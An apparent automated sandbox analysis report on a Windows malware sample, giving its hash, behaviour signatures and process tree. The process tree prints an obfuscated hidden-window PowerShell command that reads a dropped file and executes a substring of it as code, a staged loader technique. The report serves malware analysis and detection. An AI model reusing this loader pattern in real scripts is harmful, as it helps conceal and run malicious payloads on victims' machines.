Analysis
- max time kernel
148s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
23/04/2024, 01:45
General
- Target b9d1e862b5f864aab90e418632cf973132a4b4cbe4044b1fb997d9dfbd7ad0f4.exe
- Size 1.1MB
- Sample240423-b6r1msbc71
- SHA256 b9d1e862b5f864aab90e418632cf973132a4b4cbe4044b1fb997d9dfbd7ad0f4
Malware Config
Signatures
- Drops file in Program Files directory 1 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\b9d1e862b5f864aab90e418632cf973132a4b4cbe4044b1fb997d9dfbd7ad0f4.exe"C:\Users\Admin\AppData\Local\Temp\b9d1e862b5f864aab90e418632cf973132a4b4cbe4044b1fb997d9dfbd7ad0f4.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Bissede=Get-Content 'C:\Users\Admin\AppData\Local\nervier\Estampede\sipunculacean\Michelines.All';$Flumes35=$Bissede.SubString(58005,3);.$Flumes35($Bissede)"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1292 -s 25083⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1292 -ip 12921⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_x2vidnqq.ciq.ps1
Michelines.All
memory/1292-18-0x0000000005330000-0x0000000005958000-memory.dmp
memory/1292-33-0x0000000006200000-0x000000000624C000-memory.dmp
memory/1292-14-0x0000000004B70000-0x0000000004BA6000-memory.dmp
memory/1292-19-0x0000000005180000-0x00000000051A2000-memory.dmp
memory/1292-20-0x0000000005960000-0x00000000059C6000-memory.dmp
memory/1292-21-0x0000000005AC0000-0x0000000005B26000-memory.dmp
memory/1292-15-0x0000000074FF0000-0x00000000757A0000-memory.dmp
memory/1292-31-0x0000000005B70000-0x0000000005EC4000-memory.dmp
memory/1292-32-0x00000000061B0000-0x00000000061CE000-memory.dmp
memory/1292-17-0x0000000004CF0000-0x0000000004D00000-memory.dmp
memory/1292-34-0x00000000071A0000-0x0000000007236000-memory.dmp
memory/1292-35-0x00000000066D0000-0x00000000066EA000-memory.dmp
memory/1292-36-0x0000000006720000-0x0000000006742000-memory.dmp
memory/1292-37-0x00000000077F0000-0x0000000007D94000-memory.dmp
memory/1292-16-0x0000000004CF0000-0x0000000004D00000-memory.dmp
memory/1292-39-0x0000000008420000-0x0000000008A9A000-memory.dmp
memory/1292-40-0x0000000074FF0000-0x00000000757A0000-memory.dmp